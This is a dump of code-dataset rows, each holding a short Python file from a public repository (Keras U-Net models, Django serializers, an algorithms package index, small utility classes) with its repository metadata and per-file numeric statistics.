ocadotechnology/google-api-python-tools
|
70a700ded04025a943150e619266262b5725f4e6
|
[
"Apache-2.0"
] | null | null | null |
from google_api_python_tools.google_connectors.executor import general_execute_request
class ApiClient(object):
def __init__(self, connector):
self.connector = connector
def execute(self, request_executor):
return general_execute_request(request_executor, self.connector)
| 29.9
| 86
| 0.785953
| 35
| 299
| 6.314286
| 0.542857
| 0.176471
| 0.190045
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150502
| 299
| 9
| 87
| 33.222222
| 0.870079
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0.166667
| 0.833333
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 4
|
ace13f3b64b57654d2251c20dc2b61e50aeb8dfe
| 538
|
py
|
Python
|
magni/reproducibility/__init__.py
|
SIP-AAU/Magni
|
6328dc98a273506f433af52e6bd394754a844550
|
[
"BSD-2-Clause"
] | 42
|
2015-02-09T10:17:26.000Z
|
2021-12-21T09:38:04.000Z
|
magni/reproducibility/__init__.py
|
SIP-AAU/Magni
|
6328dc98a273506f433af52e6bd394754a844550
|
[
"BSD-2-Clause"
] | 3
|
2015-03-20T12:00:40.000Z
|
2015-03-20T12:01:16.000Z
|
magni/reproducibility/__init__.py
|
SIP-AAU/Magni
|
6328dc98a273506f433af52e6bd394754a844550
|
[
"BSD-2-Clause"
] | 14
|
2015-04-28T03:08:32.000Z
|
2021-07-24T13:29:24.000Z
|
"""
..
Copyright (c) 2014-2017, Magni developers.
All rights reserved.
See LICENSE.rst for further information.
Module providing functionality for aiding in quest for more reproducible
research.
Routine listings
----------------
data
Module providing functions that return various data about the system,
magni, files, etc.
io
Module providing input/output functions to databases containing results
from reproducible research.
"""
from magni.reproducibility import data
from magni.reproducibility import io
| 23.391304
| 75
| 0.745353
| 65
| 538
| 6.169231
| 0.707692
| 0.112219
| 0.119701
| 0.149626
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0181
| 0.178439
| 538
| 22
| 76
| 24.454545
| 0.88914
| 0.83829
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
680d8560ba5015ece207cb9a9904e2bbece26fac
| 236
|
py
|
Python
|
Categories.py
|
jamieabw/Budget_App
|
f80d4425f690491a7ba2b53e2beffd5b982eb38f
|
[
"MIT"
] | null | null | null |
Categories.py
|
jamieabw/Budget_App
|
f80d4425f690491a7ba2b53e2beffd5b982eb38f
|
[
"MIT"
] | null | null | null |
Categories.py
|
jamieabw/Budget_App
|
f80d4425f690491a7ba2b53e2beffd5b982eb38f
|
[
"MIT"
] | 1
|
2021-12-31T01:48:22.000Z
|
2021-12-31T01:48:22.000Z
|
class Categories:
def __init__(self, category_name, money_allocated, index_inside_list):
self.category_name = category_name
self.money_allocated = money_allocated
self.index_inside_list = index_inside_list
| 29.5
| 74
| 0.75
| 29
| 236
| 5.551724
| 0.413793
| 0.223602
| 0.279503
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.194915
| 236
| 7
| 75
| 33.714286
| 0.847368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a8475c5394190189cc4ef01a8a751de6a067d7d8
| 295
|
py
|
Python
|
common/pickleserializable.py
|
cganta/dbtest
|
37b8020cae9218ce9d9e79e92d2d9419ae62f74c
|
[
"MIT"
] | 130
|
2020-02-13T17:20:58.000Z
|
2022-03-29T20:27:49.000Z
|
common/pickleserializable.py
|
cganta/dbtest
|
37b8020cae9218ce9d9e79e92d2d9419ae62f74c
|
[
"MIT"
] | 27
|
2020-02-25T05:04:28.000Z
|
2022-03-07T23:27:44.000Z
|
common/pickleserializable.py
|
cganta/dbtest
|
37b8020cae9218ce9d9e79e92d2d9419ae62f74c
|
[
"MIT"
] | 21
|
2020-02-13T19:33:42.000Z
|
2022-03-18T02:36:38.000Z
|
"""
Copyright (c) Microsoft Corporation.
Licensed under the MIT license.
"""
from abc import abstractmethod, ABCMeta
class PickleSerializable():
__metaclass__ = ABCMeta
@abstractmethod
def serialize(self):
pass
@abstractmethod
def deserialize(self):
pass
| 16.388889
| 39
| 0.688136
| 28
| 295
| 7.107143
| 0.785714
| 0.170854
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.233898
| 295
| 17
| 40
| 17.352941
| 0.880531
| 0.230508
| 0
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0.222222
| 0.111111
| 0
| 0.555556
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
a86d57eebfb96f981abf3707b50787e7773f786a
| 434
|
py
|
Python
|
ecommerce/User/serializers.py
|
evanezcent/Django-Training
|
bc78210a49339903b1ef1d9b3bf8158321146273
|
[
"MIT"
] | 1
|
2020-11-26T00:48:34.000Z
|
2020-11-26T00:48:34.000Z
|
ecommerce/User/serializers.py
|
evanezcent/Django-Training
|
bc78210a49339903b1ef1d9b3bf8158321146273
|
[
"MIT"
] | null | null | null |
ecommerce/User/serializers.py
|
evanezcent/Django-Training
|
bc78210a49339903b1ef1d9b3bf8158321146273
|
[
"MIT"
] | null | null | null |
from rest_framework import serializers
from ecommerce.models import User
from django.contrib.auth.hashers import make_password
# convert to json
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = '__all__' # all field
class UserProfile(serializers.ModelSerializer):
class Meta:
model = User
fields = ('id', 'img_url', )
read_only_fields = ('id', )
| 24.111111
| 53
| 0.693548
| 49
| 434
| 5.959184
| 0.632653
| 0.178082
| 0.212329
| 0.239726
| 0.342466
| 0.342466
| 0.342466
| 0
| 0
| 0
| 0
| 0
| 0.223502
| 434
| 18
| 54
| 24.111111
| 0.866469
| 0.057604
| 0
| 0.333333
| 0
| 0
| 0.044226
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.083333
| 0.25
| 0
| 0.583333
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
a88a91125ce458ce0f337029cddf09044012f69b
| 2,077
|
py
|
Python
|
pyalgo/__init__.py
|
4RCAN3/PyAlgo
|
284c98aa74b1d9d55b2c64ead6e100b5cc68aa4e
|
[
"MIT"
] | 1
|
2021-03-06T15:35:08.000Z
|
2021-03-06T15:35:08.000Z
|
pyalgo/__init__.py
|
4RCAN3/PyAlgo
|
284c98aa74b1d9d55b2c64ead6e100b5cc68aa4e
|
[
"MIT"
] | null | null | null |
pyalgo/__init__.py
|
4RCAN3/PyAlgo
|
284c98aa74b1d9d55b2c64ead6e100b5cc68aa4e
|
[
"MIT"
] | null | null | null |
'''
module for importing
all functions
'''
from pyalgo import *
'''
PyAlgo - Maths
'''
from pyalgo.maths import *
from pyalgo.maths.catalan_numbers import catalan
from pyalgo.maths.factorial import factorial
from pyalgo.maths.fibonnaci_numbers import fibonacci
from pyalgo.maths.gcd import gcd, lcm
from pyalgo.maths.power import mod_power, big_power
from pyalgo.maths.prime import prime
from pyalgo.maths.sieve import sieve
from pyalgo.maths.totient_function import totient
from pyalgo.maths.gray_code import gray_code
from pyalgo.maths.convex_hull import convex_hull
'''
PyAlgo - Searching
'''
from pyalgo.search import *
from pyalgo.search.binary_search import binary_search
from pyalgo.search.exponential_search import exponential_search
from pyalgo.search.interpolation_search import interpolation_search
from pyalgo.search.jump_search import jump_search
from pyalgo.search.ternary_search import ternary_search
from pyalgo.search.kmp_algorithm import kmp
from pyalgo.search.rabin_karp import rabin_karp
from pyalgo.search.z_algorithm import z_algorithm
'''
PyAlgo - CP
'''
from pyalgo.cp import *
from pyalgo.cp.FastIO import *
from pyalgo.cp.template import *
'''
PyAlgo - Sort
'''
from pyalgo.sort import *
from pyalgo.sort.bubble_sort import bubble_sort
from pyalgo.sort.heap_sort import heap_sort
from pyalgo.sort.insertion_sort import insertion_sort
from pyalgo.sort.merge_sort import merge_sort
from pyalgo.sort.quick_sort import quick_sort, quick_sort_recursive
from pyalgo.sort.selection_sort import selection_sort
from pyalgo.sort.counting_sort import counting_sort
from pyalgo.sort.radix_sort import radix_sort
from pyalgo.sort.bucket_sort import bucket_sort
from pyalgo.sort.shell_sort import shell_sort
from pyalgo.sort.pigeonhole_sort import pigeonhole_sort
from pyalgo.sort.cycle_sort import cycle_sort
'''
PyAlgo - Graph
'''
from pyalgo.graph import *
from pyalgo.graph.mst import *
from pyalgo.graph.bfs import bfs, bfs_paths
from pyalgo.graph.dfs import dfs, dfs_paths
from pyalgo.graph.mst.prim_mst import *
'''
PyAlgo
Devansh Singh, 2021
'''
| 26.974026
| 67
| 0.825229
| 313
| 2,077
| 5.306709
| 0.207668
| 0.25286
| 0.109573
| 0.119205
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.002156
| 0.106885
| 2,077
| 77
| 68
| 26.974026
| 0.893261
| 0.01637
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
a8980dd59e69162fa5024be5e6a611ac0fd4e5e3
| 126
|
py
|
Python
|
src/setdevice.py
|
joelsjoyt/Animal-Classifier
|
dd4e93a5e50631a82dd2284dea18cb32d8927b82
|
[
"MIT"
] | 4
|
2020-11-09T03:48:30.000Z
|
2021-07-12T23:54:45.000Z
|
src/setdevice.py
|
joelsjoyt/Animal-Classifier
|
dd4e93a5e50631a82dd2284dea18cb32d8927b82
|
[
"MIT"
] | null | null | null |
src/setdevice.py
|
joelsjoyt/Animal-Classifier
|
dd4e93a5e50631a82dd2284dea18cb32d8927b82
|
[
"MIT"
] | null | null | null |
import torch
def set_device():
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
return device
| 21
| 75
| 0.698413
| 19
| 126
| 4.526316
| 0.684211
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009615
| 0.174603
| 126
| 5
| 76
| 25.2
| 0.817308
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
a8ad18e4a81fab736578362a529c4f4eba6a9e9f
| 9,510
|
py
|
Python
|
model.py
|
Oewyn/kaggle_airbus
|
c2f31b8c6b392709e053585f437749a7169b6708
|
[
"MIT"
] | null | null | null |
model.py
|
Oewyn/kaggle_airbus
|
c2f31b8c6b392709e053585f437749a7169b6708
|
[
"MIT"
] | null | null | null |
model.py
|
Oewyn/kaggle_airbus
|
c2f31b8c6b392709e053585f437749a7169b6708
|
[
"MIT"
] | null | null | null |
from keras.layers import Conv2D, MaxPooling2D, UpSampling2D, BatchNormalization, SeparableConv2D, Activation, GlobalMaxPooling2D, Reshape, Flatten
from keras.layers import Input, add, concatenate
from keras.models import Model
from keras.optimizers import Adam
from keras.initializers import Constant
import keras.backend as K
import tensorflow as tf
import math
from losses import *
def encoder(x, filters=44, n_block=3, kernel_size=(3,3), activation='relu'):
skip = []
for i in range(n_block):
layer_name = 'encode{}/'.format(i)
x = Conv2D(filters * (2 ** i), kernel_size, activation=activation, padding='same', name=layer_name+'Conv2D_A')(x)
x = Conv2D(filters * (2 ** i), kernel_size, activation=activation, padding='same', name=layer_name+'Conv2D_B')(x)
#x = BatchNormalization(name=layer_name+'BatchNorm')(x)
skip.append(x)
if i != n_block-1:
x = MaxPooling2D(pool_size=(2,2), strides=(2,2), name=layer_name+'MaxPool2D')(x)
return x, skip
def bottleneck(x, filters_bottleneck, mode='cascade', depth=6, kernel_size=(3,3), activation='relu'):
dilated_layers = []
layer_name = 'btlneck_{}/'.format(mode)
for i in range(depth):
if mode == 'cascade':
x = Conv2D(filters_bottleneck, kernel_size, activation=activation, padding='same', dilation_rate=2**i, name=layer_name+'Conv2D_{}'.format(i))(x)
dilated_layers.append(x)
elif mode == 'parallel':
dilated_layers.append(Conv2D(filters_bottleneck, kernel_size, activation=activation, padding='same', dilation_rate=2**i, name=layer_name+'Conv2D_{}'.format(i))(x))
return add(dilated_layers)
def decoder(x, skip, filters, n_block=3, kernel_size=(3,3), activation='relu'):
for i in reversed(range(n_block)):
layer_name = 'decode{}/'.format(i)
if i != n_block-1:
x = UpSampling2D(size=(2,2), name=layer_name+'Upsample')(x)
x = Conv2D(filters * 2**i, kernel_size, activation=activation, padding='same', name=layer_name+'Conv2D_A')(x)
x = concatenate([skip[i], x], name=layer_name+'Concat')
x = Conv2D(filters * 2**i, kernel_size, activation=activation, padding='same', name=layer_name+'Conv2D_B')(x)
x = Conv2D(filters * 2**i, kernel_size, activation=activation, padding='same', name=layer_name+'Conv2D_C')(x)
#x = BatchNormalization(name=layer_name+'BatchNorm')(x)
return x
def get_unet(input_shape=(768,768,3),
mode='cascade',
filters=8,
n_block=3,
lr=1e-4,
loss=focal_loss(),
n_class=1,
prob_true=0.01,
use_loss_weights=False
):
inputs = Input(input_shape)
x = BatchNormalization(name='BatchNorm')(inputs)
enc, skip = encoder(x, filters, n_block)
bottle = enc
dec = decoder(bottle, skip, filters, n_block)
#classify = Conv2D(n_class, (1,1), activation='sigmoid')(dec)
bias_value = -math.log((1-prob_true)/prob_true)
print('classify bias = {}'.format(bias_value))
classify = Conv2D(n_class, (1,1), activation='sigmoid', bias_initializer=Constant(value=bias_value))(dec)
model = Model(inputs=inputs, outputs=classify)
model.compile(optimizer=Adam(lr=lr, decay=0.0), loss=loss, metrics=[focal_loss(alpha=.125, gamma=1.5, normalize=True, use_loss_weights=use_loss_weights), dice_coef(use_loss_weights=use_loss_weights)])
return model
def fire(x, layer_name='fire/', sq_filters=16, ex_filters=32, activation='relu'):
x = Conv2D(sq_filters, (1,1), activation=activation, padding='same', name=layer_name+'sq_1x1')(x)
e1 = Conv2D(ex_filters, (1,1), activation=activation, padding='same', name=layer_name+'exp1x1')(x)
e3 = Conv2D(ex_filters, (3,3), activation=activation, padding='same', name=layer_name+'exp3x3')(x)
x = concatenate([e1, e3], name=layer_name+'concat')
return x
def separable(x, layer_name='sep_conv/', sq_filters=16, ex_filters=32, activation='relu'):
x = BatchNormalization(name=layer_name+'BatchNorm')(x)
x = Activation('relu')(x)
x = SeparableConv2D(filters=sq_filters, kernel_size=(3,3), activation=activation, padding='same', name=layer_name+'sep_3x3', depth_multiplier=2, use_bias=False)(x)
return x
def encoder_sq(x, filters=16, n_block=3, activation='relu', batnorm=False, expansion_schedule=None, fire=True):
skip = []
expansions = 0
for i in range(n_block):
expanded_this_layer = False
if expansion_schedule == None or expansion_schedule[i] == True:
expansions += 1
expanded_this_layer = True
layer_name = 'encode{}/'.format(i)
sq_filters = int(filters * (2 ** expansions))
if fire:
x = fire(x, layer_name=layer_name+'fire/', sq_filters=sq_filters, ex_filters=2*sq_filters)
else:
x = separable(x, layer_name=layer_name+'sep/', sq_filters=sq_filters, ex_filters=2*sq_filters)
if batnorm:
x = BatchNormalization(name=layer_name+'BatchNorm')(x)
skip.append(x)
if expanded_this_layer:
x = MaxPooling2D(pool_size=(2,2), strides=(2,2), name=layer_name+'MaxPool2D')(x)
return x, skip
def decoder_sq(x, skip, filters=16, n_block=3, activation='relu', batnorm=False, expansion_schedule=None, fire=True):
expansions = sum(expansion_schedule[0:n_block])
for i in reversed(range(n_block)):
contracted_this_layer = False
if expansion_schedule == None or expansion_schedule[i] == True:
expansions -= 1
contracted_this_layer = True
layer_name = 'decode{}/'.format(i)
sq_filters = int(filters * (2 ** expansions))
if contracted_this_layer:
x = UpSampling2D(size=(2,2), name=layer_name+'Upsample')(x)
x = Conv2D(filters * 2**expansions, (3,3), activation=activation, padding='same', name=layer_name+'Conv2D_A')(x)
x = concatenate([skip[i], x], name=layer_name+'Concat')
if fire:
x = fire(x, layer_name=layer_name+'fire/', sq_filters=sq_filters, ex_filters=2*sq_filters)
else:
x = separable(x, layer_name=layer_name+'sep/', sq_filters=sq_filters, ex_filters=2*sq_filters)
if batnorm:
x = BatchNormalization(name=layer_name+'BatchNorm')(x)
return x
def get_unet_sq(input_shape=(768,768,3),
mode='cascade',
filters=8,
n_block=3,
loss=dice_coef_loss(),
n_class=1,
prob_true=0.25,
optimizer=Adam(lr=1e-4, decay=0.0),
batnorm=False,
expansion_schedule=None,
fire=True,
use_loss_weights=False
):
inputs = Input(input_shape)
x = BatchNormalization(name='BatchNorm')(inputs)
x = Conv2D(filters*4, (3,3), activation='relu', padding='same', name='Conv2D1')(x)
enc, skip = encoder_sq(x, filters, n_block, batnorm=batnorm, expansion_schedule=expansion_schedule, fire=fire)
bottle = enc
dec = decoder_sq(bottle, skip, filters, n_block, batnorm=batnorm, expansion_schedule=expansion_schedule, fire=fire)
bias_value = -math.log((1-prob_true)/prob_true)
classify = Conv2D(n_class, (1,1), activation='sigmoid', bias_initializer=Constant(value=bias_value))(dec)
model = Model(inputs=inputs, outputs=classify)
model.compile(optimizer=optimizer, loss=loss, metrics=[focal_loss(use_loss_weights=use_loss_weights, ignore_loss=True), bce(use_loss_weights=use_loss_weights), dice_coef_loss(use_loss_weights=use_loss_weights, ignore_loss=True), dice_coef(use_loss_weights=use_loss_weights, ignore_loss=True)])
return model
def get_resnet34(input_shape=(768,768,3),
loss=dice_coef_loss(),
n_class=1,
optimizer=Adam(lr=1e-4, decay=0.0),
use_loss_weights=False
):
from unet_model import Unet
model = Unet(backbone_name='resnet34', input_shape=input_shape, encoder_weights='imagenet')
model.compile(optimizer=optimizer, loss=loss, metrics=[focal_loss(use_loss_weights=use_loss_weights, ignore_loss=True), bce(use_loss_weights=use_loss_weights), dice_coef_loss(use_loss_weights=use_loss_weights, ignore_loss=True), dice_coef(use_loss_weights=use_loss_weights, ignore_loss=True)])
return model
def get_resnet34_backbone(input_shape=(768,768,3),
loss=dice_coef_loss(),
n_class=1,
optimizer=Adam(lr=1e-4, decay=0.0),
use_loss_weights=False
):
from resnet_model import ResNet34
model = ResNet34(input_shape=input_shape, include_top=False, classes=1, class_detector_top=True)
from keras import metrics
model.compile(optimizer=optimizer, loss=loss, metrics=[metrics.binary_accuracy])
return model
def get_unet_sq_backbone(input_shape=(768,768,3),
mode='cascade',
filters=8,
n_block=3,
loss=dice_coef_loss(),
n_class=1,
prob_true=0.25,
optimizer=Adam(lr=1e-4, decay=0.0),
batnorm=False,
expansion_schedule=None,
fire=True
):
inputs = Input(input_shape)
x = BatchNormalization(name='BatchNorm')(inputs)
x = Conv2D(filters*4, (3,3), activation='relu', padding='same', name='Conv2D1')(x)
enc, skip = encoder_sq(x, filters, n_block, batnorm=batnorm, expansion_schedule=expansion_schedule, fire=fire)
pooled = GlobalMaxPooling2D()(enc)
pooled = Reshape((1,1,-1))(pooled)
classify = Conv2D(n_class, (1,1), name='classifier', activation='sigmoid')(pooled)
classify = Flatten()(classify)
model = Model(inputs=inputs, outputs=classify)
from keras import metrics
model.compile(optimizer=optimizer, loss=loss, metrics=[metrics.binary_accuracy])
return model
| 43.824885
| 297
| 0.688959
| 1,342
| 9,510
| 4.675112
| 0.121461
| 0.055945
| 0.058017
| 0.059292
| 0.780523
| 0.742907
| 0.718521
| 0.700829
| 0.684252
| 0.624323
| 0
| 0.02943
| 0.171083
| 9,510
| 216
| 298
| 44.027778
| 0.766459
| 0.017666
| 0
| 0.611111
| 0
| 0
| 0.052896
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.066667
| false
| 0
| 0.072222
| 0
| 0.205556
| 0.005556
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4f2e01e0db4f30ed41e5b19431f79068daddd3aa
| 22
|
py
|
Python
|
src/factorymind/__init__.py
|
factorymind/factorymind
|
0c9fccac853ea0e0cee27bce18f641ca9436b788
|
[
"MIT"
] | 1
|
2021-11-07T09:39:43.000Z
|
2021-11-07T09:39:43.000Z
|
src/factorymind/__init__.py
|
factorymind/factorymind
|
0c9fccac853ea0e0cee27bce18f641ca9436b788
|
[
"MIT"
] | null | null | null |
src/factorymind/__init__.py
|
factorymind/factorymind
|
0c9fccac853ea0e0cee27bce18f641ca9436b788
|
[
"MIT"
] | null | null | null |
"""
Empty for now
"""
| 5.5
| 13
| 0.5
| 3
| 22
| 3.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.227273
| 22
| 3
| 14
| 7.333333
| 0.647059
| 0.590909
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
4f2eb27bfe9e63586ee6f314b5c01ac2080244f6
| 440
|
py
|
Python
|
browse/domain/__init__.py
|
rstojnic/arxiv-browse
|
8847fb8bcd79cc2b162fd3de16db8fba1a1df020
|
[
"MIT"
] | 61
|
2019-01-10T21:15:00.000Z
|
2022-02-21T13:22:22.000Z
|
browse/domain/__init__.py
|
rstojnic/arxiv-browse
|
8847fb8bcd79cc2b162fd3de16db8fba1a1df020
|
[
"MIT"
] | 91
|
2019-01-14T21:12:06.000Z
|
2022-03-09T19:52:59.000Z
|
browse/domain/__init__.py
|
rstojnic/arxiv-browse
|
8847fb8bcd79cc2b162fd3de16db8fba1a1df020
|
[
"MIT"
] | 38
|
2019-01-10T22:01:30.000Z
|
2022-03-10T23:07:00.000Z
|
"""Domain classes for browse service.
The domain provides a description of the main data objects used in
module APIs. Specifically, the :mod:`browse.controllers` and
:mod:`browse.services` modules should use the domain as their primary
"language". This is intended to make static checking easier and enhance
overall intelligibility of the codebase.
"""
# pylint: disable=wildcard-import
from .institution import *
from .metadata import *
| 33.846154
| 71
| 0.788636
| 62
| 440
| 5.596774
| 0.774194
| 0.051873
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140909
| 440
| 12
| 72
| 36.666667
| 0.917989
| 0.861364
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4f3c2691915bfb51a09ee2499e28b48fba476e02
| 114
|
py
|
Python
|
CodeWars/8 Kyu/Sum without highest and lowest number.py
|
anubhab-code/Competitive-Programming
|
de28cb7d44044b9e7d8bdb475da61e37c018ac35
|
[
"MIT"
] | null | null | null |
CodeWars/8 Kyu/Sum without highest and lowest number.py
|
anubhab-code/Competitive-Programming
|
de28cb7d44044b9e7d8bdb475da61e37c018ac35
|
[
"MIT"
] | null | null | null |
CodeWars/8 Kyu/Sum without highest and lowest number.py
|
anubhab-code/Competitive-Programming
|
de28cb7d44044b9e7d8bdb475da61e37c018ac35
|
[
"MIT"
] | null | null | null |
def sum_array(arr):
if arr == None or len(arr) < 3:
return 0
return sum(arr) - max(arr) - min(arr)
| 28.5
| 41
| 0.561404
| 20
| 114
| 3.15
| 0.65
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.024691
| 0.289474
| 114
| 4
| 41
| 28.5
| 0.753086
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
4f6c40665d7751beb0b4e1e7d3b94e7555c611ec
| 203
|
py
|
Python
|
tests/imapclient_test.py
|
ctrlaltdel/imapclient
|
c90e4521672f0a7246aee9bc5dc49c2899c666d3
|
[
"BSD-3-Clause"
] | 10
|
2015-07-24T07:33:13.000Z
|
2021-06-15T15:05:06.000Z
|
tests/imapclient_test.py
|
ctrlaltdel/imapclient
|
c90e4521672f0a7246aee9bc5dc49c2899c666d3
|
[
"BSD-3-Clause"
] | 1
|
2016-08-08T19:13:40.000Z
|
2016-08-08T19:13:40.000Z
|
tests/imapclient_test.py
|
ctrlaltdel/imapclient
|
c90e4521672f0a7246aee9bc5dc49c2899c666d3
|
[
"BSD-3-Clause"
] | 11
|
2015-05-06T08:46:09.000Z
|
2019-05-08T09:41:36.000Z
|
from imapclient.testable_imapclient import TestableIMAPClient as IMAPClient
from .util import unittest
class IMAPClientTest(unittest.TestCase):
def setUp(self):
self.client = IMAPClient()
| 22.555556
| 75
| 0.778325
| 22
| 203
| 7.136364
| 0.681818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157635
| 203
| 8
| 76
| 25.375
| 0.918129
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4f8dbb23c56f6049561627418cb415d54d78165b
| 150
|
py
|
Python
|
INFINIX/__main__.py
|
ItzSjDude/infinix
|
b9010737088f161c4a02c25ff43c4de6c9d62f4e
|
[
"Apache-2.0"
] | null | null | null |
INFINIX/__main__.py
|
ItzSjDude/infinix
|
b9010737088f161c4a02c25ff43c4de6c9d62f4e
|
[
"Apache-2.0"
] | null | null | null |
INFINIX/__main__.py
|
ItzSjDude/infinix
|
b9010737088f161c4a02c25ff43c4de6c9d62f4e
|
[
"Apache-2.0"
] | null | null | null |
from . import StartInfinix
import asyncio as _asyncio
if __name__ == "__main__":
_asyncio.get_event_loop().run_until_complete(StartInfinix())
| 25
| 64
| 0.766667
| 18
| 150
| 5.611111
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.14
| 150
| 5
| 65
| 30
| 0.782946
| 0
| 0
| 0
| 0
| 0
| 0.053333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
